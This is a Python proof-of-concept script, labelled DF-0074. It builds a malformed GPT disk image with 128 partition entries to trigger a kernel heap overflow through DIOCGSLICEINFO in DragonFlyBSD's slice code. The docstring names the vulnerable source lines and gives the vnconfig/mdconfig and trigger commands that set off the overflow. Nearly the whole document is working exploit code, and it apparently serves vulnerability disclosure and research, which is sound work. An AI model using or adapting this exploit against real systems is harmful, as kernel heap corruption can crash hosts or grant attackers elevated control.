DF-0074 / build_gpt.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 | #!/usr/bin/env python3 """ DF-0074 PoC - build a GPT disk image that overflows DIOCGSLICEINFO. Creates a minimal valid GPT with hdr_entries=128. When DragonFlyBSD probes this disk, subr_diskgpt.c sets dss_nslices = BASE_SLICE + 128 = 130. Issuing DIOCGSLICEINFO then bcopy's 130 slices worth of data into a buffer sized for only 16 slices -> kernel heap overflow (subr_diskslice.c:557). Usage: python3 build_gpt.py overflow.img Then: vnconfig -c vnd0 overflow.img (or mdconfig -a -t vnode -f overflow.img) ./trigger /dev/vnd0s1 """ import struct, sys, binascii SECTOR = 512 def le32(x): return struct.pack('<I', x) def le64(x): return struct.pack('<Q', x) def le16(x): return struct.pack('<H', x) def crc32(data): return binascii.crc32(data) & 0xffffffff def gpt_entry(type_guid=b'\x00'*16, guid=b'\x00'*16, lba_start=0, lba_end=0, attrs=0, name=''): name_utf16 = name.encode('utf-16-le')[:71].ljust(72, b'\x00') return (type_guid.ljust(16,b'\x00')[:16] + guid.ljust(16,b'\x00')[:16] + le64(lba_start) + le64(lba_end) + le64(attrs) + name_utf16) ENTRIES = 128 # must be >= 15 for dss_nslices > MAX_SLICES(16) ENT_SZ = 128 def main(): out = sys.argv[1] if len(sys.argv) > 1 else 'overflow.img' total_sectors = 2048 # small image # --- Protective MBR (sector 0) --- mbr = bytearray(SECTOR) mbr[440:446] = b'\x00'*6 # disk signature mbr[446] = 0x00 # partition status mbr[450] = 0xEE # GPT protective type mbr[454:458] = le32(1) # start LBA mbr[458:462] = le32(total_sectors - 1) # size mbr[510:512] = b'\x55\xaa' # --- GPT header (sector 1) --- entry_array_lba = 2 entry_array_bytes = ENTRIES * ENT_SZ entry_array_sectors = (entry_array_bytes + SECTOR - 1) // SECTOR first_usable = 2 + entry_array_sectors last_usable = total_sectors - entry_array_sectors - 2 hdr = bytearray(92) hdr[0:8] = b'EFI PART' # signature hdr[8:12] = le32(0x00010000) # revision 1.0 hdr[12:16] = le32(92) # header size # hdr_crc_self at 16:20 = 0 for now hdr[20:24] = le32(0) # reserved hdr[24:32] = le64(1) # my_lba hdr[32:40] = le64(total_sectors - 1) # alternate_lba hdr[40:48] = le64(first_usable) # first_usable_lba hdr[48:56] = le64(last_usable) # last_usable_lba hdr[56:72] = (b'\xde\xbb\x86\x8e\x79\x11\xd3\x4b' b'\x9f\x86\xf0\x81\xe0\x16\x30' b'\x00') # disk guid (arbitrary) hdr[72:88] = le64(entry_array_lba) + le64(0) # partition_entry_lba (pad to 16) hdr[72:80] = le64(entry_array_lba) hdr[80:84] = le32(ENTRIES) # number of partition entries hdr[84:88] = le32(ENT_SZ) # size of each entry # entry_array_crc at 88:92 computed below hdr[88:92] = le32(0) # --- Partition entries (sectors 2..) --- entries = bytearray() # Make a few entries with non-nil type so gpt_setslice populates them type_guid = b'\xa2\xa0\xd0\xeb\xe5\xb9\x33\x44\x87\xc0\x68\xb6\xb7\x1e\x05\x2d' for i in range(ENTRIES): if i < 17: # 17 entries -> dss_nslices = 2+17 = 19, enough to overflow entries += gpt_entry(type_guid=type_guid, guid=b'\x01'*16, lba_start=first_usable + i*10, lba_end=first_usable + i*10 + 9, name='part%d' % i) else: entries += gpt_entry() # nil entries still counted in dss_nslices # CRC of entry array entry_crc = crc32(bytes(entries)) hdr[88:92] = le32(entry_crc) # CRC of header hdr[16:20] = le32(0) hdr_crc = crc32(bytes(hdr)) hdr[16:20] = le32(hdr_crc) # --- Assemble image --- img = bytearray(SECTOR * total_sectors) img[0:SECTOR] = mbr img[SECTOR:SECTOR+92] = hdr img[2*SECTOR:2*SECTOR+len(entries)] = entries with open(out, 'wb') as f: f.write(img) print(f'Wrote {out}: {len(img)} bytes, {ENTRIES} GPT entries.') print('Attach and issue DIOCGSLICEINFO to trigger the heap overflow.') if __name__ == '__main__': main() |